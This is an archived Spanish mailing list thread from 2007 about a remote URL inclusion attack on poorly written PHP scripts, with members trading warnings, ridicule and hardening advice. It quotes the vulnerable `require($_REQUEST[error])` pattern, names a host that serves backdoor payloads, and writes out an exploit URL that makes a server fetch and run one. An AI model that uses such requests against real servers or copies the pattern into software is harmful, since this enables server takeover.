Alerta Vulnerabilidad en PHP - tener mucho cuidado

2007-08-27 Por tema Juan Martínez
El Dom, 26 de Agosto de 2007, 5:19 pm, Miguel Oyarzo O. escribió:
 Estimados

 Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga
 de escripts via archivos PHP mal programados.

Lo cual me hace pensar que el asunto de este mensaje es tendencioso.
Creo que seria mejor algo como: Cuidado mal programador/sysadmin. Si no
usas bien las herramientas lo mas seguro es que te haran pebre tu
servidor.

 La variable que el atacante busca es error. MEdiante ella el lammer
 descarga
 shellcode que le da acceso al sistema de archivos y abre una backdoor en
 servidores windows y Linux

 Codigo PHP que contenga
 ?
 if (isset($_GET['error'])) {
 require($_REQUEST[error] );
 ?
 esta expuesto

Siempre y cuando este activada la directiva de autocreacion de variables a
partir de formularios web...

 Busquen en sus archivos uno de los sitios desde donde descargan los
 troyanos y los shellcode.

  masterz.altervista.org

 observen el codigo q usan

 http://masterz.altervista.org/a

Quien sano de la cabeza configura un servidor web con acceso a internet
(salvo repositorios de la distro)?

 Espero que les sea de utilidad la info

De todas maneras. Se agradece tu tiempo ;-)

Saludos

-- 
Juan Martinez  Linux user # 335778
Departamento de Informática499 7934 - 499 7992
Universidad Miguel de CervantesMac Iver # 370 - Stgo. Centro - RM


Alerta Vulnerabilidad en PHP - tener mucho cuidado

2007-08-27 Por tema Cristian Rodriguez
On 8/26/07, Miguel Oyarzo O. [EMAIL PROTECTED] wrote:

 ridiculo, a mas de alguno le podria servir la info.

No, lo ridiculo es que lo anuncies como algo que descubriste tu,
cuando el problema es requete conocido ( diria yo que lamentablemente
demasiado conocido:( )


 posiblemente el dominio publicado sirva para ver si alguien
 este siendo atacado desde alli, cn solo mirar el log.-

Si le crees al log.. caes en la proxima trampa, los logs no son
creibles despues de un ataque, los atacantes borran o alteran la
evidencia antes de irse, eso es una cosa elemental.


-- 
http://www.kissofjudas.net/
From [EMAIL PROTECTED]  Mon Aug 27 03:59:04 2007
From: [EMAIL PROTECTED] (Rodrigo Fuentealba)
Date: Mon Aug 27 04:01:16 2007
Subject: Alerta Vulnerabilidad en PHP - tener mucho cuidado
In-Reply-To: [EMAIL PROTECTED]
References: [EMAIL PROTECTED]
[EMAIL PROTECTED]
[EMAIL PROTECTED]
[EMAIL PROTECTED]
Message-ID: [EMAIL PROTECTED]

El 27/08/07, Cristian Rodriguez [EMAIL PROTECTED] escribió:
 On 8/26/07, Miguel Oyarzo O. [EMAIL PROTECTED] wrote:

  ridiculo, a mas de alguno le podria servir la info.

 No, lo ridiculo es que lo anuncies como algo que descubriste tu,

No lo descubrió. Detectó alguien que todavía causa daño a través de
ese método. No veo la ridiculez.

 cuando el problema es requete conocido ( diria yo que lamentablemente
 demasiado conocido:( )

Yo diría que demasiado desconocido; de otra manera no caerían tontitos
con esta clase de ataques.

  posiblemente el dominio publicado sirva para ver si alguien
  este siendo atacado desde alli, cn solo mirar el log.-

 Si le crees al log.. caes en la proxima trampa, los logs no son
 creibles despues de un ataque, los atacantes borran o alteran la
 evidencia antes de irse, eso es una cosa elemental.

Primero: No debes permitir a tu servidor establecer nuevas conexiones
hacia otros, a menos que sean necesarios.

Segundo: Debes permitir a tu servidor responder solo a las conexiones
que otros inician contigo en los puertos que especifiques.

Tercero: Hay algo llamado php.ini-recommended. Deberías darle una vuelta.

-- 
Rodrigo Fuentealba Cartes
Desarrollador de Sistemas - Consultor UNIX - Database Administrator


Alerta Vulnerabilidad en PHP - tener mucho cuidado

2007-08-26 Por tema Miguel Oyarzo O.


Estimados

Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga 
de escripts
via archivos PHP mal programados.

La variable que el atacante busca es error. MEdiante ella el lammer descarga
shellcode que le da acceso al sistema de archivos y abre una backdoor en 
servidores windows y Linux

Codigo PHP que contenga
?
if (isset($_GET['error'])) {
require($_REQUEST[error] );
?
esta expuesto

Busquen en sus archivos uno de los sitios desde donde descargan los 
troyanos y los shellcode.

 masterz.altervista.org

observen el codigo q usan

http://masterz.altervista.org/a
http://masterz.altervista.org/b   (carga rootshell y crea interfaz web de 
control remoto)
http://masterz.altervista.org/c

Si encuentran esto en sus log ya tienen comprometido el sistema.

Espero que les sea de utilidad la info

Slaudos,

Miguel Oyarzo O,.
Austro Internet
Punta Arenas


Alerta Vulnerabilidad en PHP - tener mucho cuidado

2007-08-26 Por tema Rodrigo Fuentealba
El 26/08/07, Miguel Oyarzo O. [EMAIL PROTECTED] escribió:

 Estimados

 Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga
 de escripts via archivos PHP mal programados.

¿Es una vulnerabilidad de PHP o una vulnerabilidad programada en PHP?

 La variable que el atacante busca es error. MEdiante ella el lammer descarga
 shellcode que le da acceso al sistema de archivos y abre una backdoor en
 servidores windows y Linux

 Codigo PHP que contenga

Analicemos el código, para que quienes programan en PHP no cometan tal
clase de errores:

 ?

Se debe utilizar ?php (sin comillas) al principio, y dejar en
php.ini el valor de short_open_tag en Off.

(Sí, ya se que varios programan con ?, pero hay quienes usan páginas
con XHTML 1.1 y que declaran su XML al principio con ?xml
version=1.0? y luego le echan la culpa al del hosting del por qué
no funcionan sus páginas)

 if (isset($_GET['error'])) {

¿Así, sin validar nada? ¿Dónde está el is_int, is_string, is_array?
¿o el preg_match, para validar que lo que yo traigo por método $_GET
es realmente algo que me sirva?

 require($_REQUEST[error] );

Falta: if(file_exists()) para que compruebe que el archivo existe.
Para que lo busque localmente, falta un realpath(), que compruebe el
path real de tu archivo; para que vea si existe dentro de la máquina

En el php.ini, los valores recomendados para producción son
allow_url_fopen = Off (aunque éste hay quien lo deja en On, para poder
comunicarse con otras máquinas, leer XML y esas cosas) y
allow_url_include = Off

Jamás debemos permitir cosas como:
require_once(http://www.victimario.com/exploit.php;); en nuestra
aplicación. Si aún así queremos hacerlo, para mashups y cosas así,
algo un poco más seguro es poner la dirección URL nosotros mismos.
Pero sólo un poco, nada nos asegura que en
http://www.sitioqueconfio.cl/rss.php alguien vaya a poner una
vulnerabilidad parecida.

 ?

De cuatro líneas, ésta última está perfecta. No tiene ninguna
vulnerabilidad... Gran cosa :P

 esta expuesto

Comprendo el por qué varios acá no gustan del lenguaje PHP, porque es
muy fácil para un novato (e inclusive alguien que se dedique un poco
más) escribir código basura sin mucho esfuerzo. Además, PHP es un
lenguaje bastante extendido. Todo lo barato que puede ser hacer un
sitio Web en PHP se va a la basura. (Hay cosas bastante similares:
utilizar SQL sin validar previamente puede llevar a una pérdida de
datos demasiado grande)

 Busquen en sus archivos uno de los sitios desde donde descargan los
 troyanos y los shellcode.

  masterz.altervista.org

 observen el codigo q usan

 http://masterz.altervista.org/a
 http://masterz.altervista.org/b   (carga rootshell y crea interfaz web de
 control remoto)
 http://masterz.altervista.org/c

 Si encuentran esto en sus log ya tienen comprometido el sistema.

 Espero que les sea de utilidad la info

De hecho, muchas gracias por tu aviso.


 Slaudos,

 Miguel Oyarzo O,.
 Austro Internet
 Punta Arenas

-- 
Rodrigo Fuentealba Cartes
Desarrollador de Sistemas - Consultor UNIX - Database Administrator


Alerta Vulnerabilidad en PHP - tener mucho cuidado

2007-08-26 Por tema Miguel Oyarzo O.
At 14:10 26-08-2007, Rodrigo Fuentealba wrote:
El 26/08/07, Miguel Oyarzo O. [EMAIL PROTECTED] escribió:
 
  Estimados
 
  Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga
  de escripts via archivos PHP mal programados.

¿Es una vulnerabilidad de PHP o una vulnerabilidad programada en PHP?

PhP diria yo.
Por ejemplo.. los que tienen register_globals on
estan expuestos, siempre y cuando tengan script PHP q trataen a la variable 
de error como un require.

Hay varios script PHP simples y complejos que traen pifias asi.

Si file send.php  es algo como:
?if (isset($_GET['error'])) { require($_REQUEST[error] );}?

El atacante usara algo asi

http://elsitio.cl/sendmail.php?error=http://masterz.altervista.org/b

El shelcode, como mencionaba, se las arregla para obtener provilegios root, 
abre una puerta y acepta
conexiones remotas. Ademas, el mismo script  al parecer agrega a otros 
script PHP
la simple sentencia ?php ? anterior (se preplica creo).


Saludos,

Miguel Oyarzo O.
Austro Internet S.A.
Punta Arenas






Alerta Vulnerabilidad en PHP - tener mucho cuidado

2007-08-26 Por tema Cristian Rodriguez
On 8/26/07, Miguel Oyarzo O. [EMAIL PROTECTED] wrote:


 Estimados

 Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga
 de escripts
 via archivos PHP mal programados.


hahahha.-.. LOL esto es mas viejo que mi abuela y se llama Remote Url
inclusion, se conoce desde hace al menos unos 7 años.


 La variable que el atacante busca es error. MEdiante ella el lammer descarga
 shellcode que le da acceso al sistema de archivos y abre una backdoor en
 servidores windows y Linux

 Codigo PHP que contenga
 ?
 if (isset($_GET['error'])) {
 require($_REQUEST[error] );
 ?

La variable puede ser cualquiera $_POST $_GET $_REQUEST ( el que use
_REQUEST se lo merece en todo caso ) tambien puede ser $_COOKIE o
cualquier tipo de dato de usuario.

en un servidor decentemente configurado este error no se puede
explotar, y no este NO ES UN ERROR DE PHP MISMO, este es un error de
los scripts mal programados, lo unico que se pudiera considerar error
es que PHP permita que esto pueda pasar por defecto ( lo cual me
inidica que esta usando una version arcaica, dado que en versiones
recientes este comportamiento auqnue posible esta desactivado por
defecto.)

-- 
http://www.kissofjudas.net/


Alerta Vulnerabilidad en PHP - tener mucho cuidado

2007-08-26 Por tema Miguel Oyarzo O.
At 17:48 26-08-2007, Cristian Rodriguez wrote:
On 8/26/07, Miguel Oyarzo O. [EMAIL PROTECTED] wrote:
 
 
  Estimados
 
  Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga
  de escripts
  via archivos PHP mal programados.


hahahha.-.. LOL esto es mas viejo que mi abuela y se llama Remote Url
inclusion, se conoce desde hace al menos unos 7 años.

ridiculo, a mas de alguno le podria servir la info.
Si a ti ya no, solo dejala pasar.


 
  La variable que el atacante busca es error. MEdiante ella el lammer 
 descarga
  shellcode que le da acceso al sistema de archivos y abre una backdoor en
  servidores windows y Linux
 
  Codigo PHP que contenga
  ?
  if (isset($_GET['error'])) {
  require($_REQUEST[error] );
  ?

La variable puede ser cualquiera $_POST $_GET $_REQUEST ( el que use
_REQUEST se lo merece en todo caso ) tambien puede ser $_COOKIE o
cualquier tipo de dato de usuario.

posiblemente el dominio publicado sirva para ver si alguien
este siendo atacado desde alli, cn solo mirar el log.-

Es una ayuda este mensaje, no para que bunde la risa en ..


Saludos cordiales,

Miguel Oyarzo
Austro Internet
Punta Arenas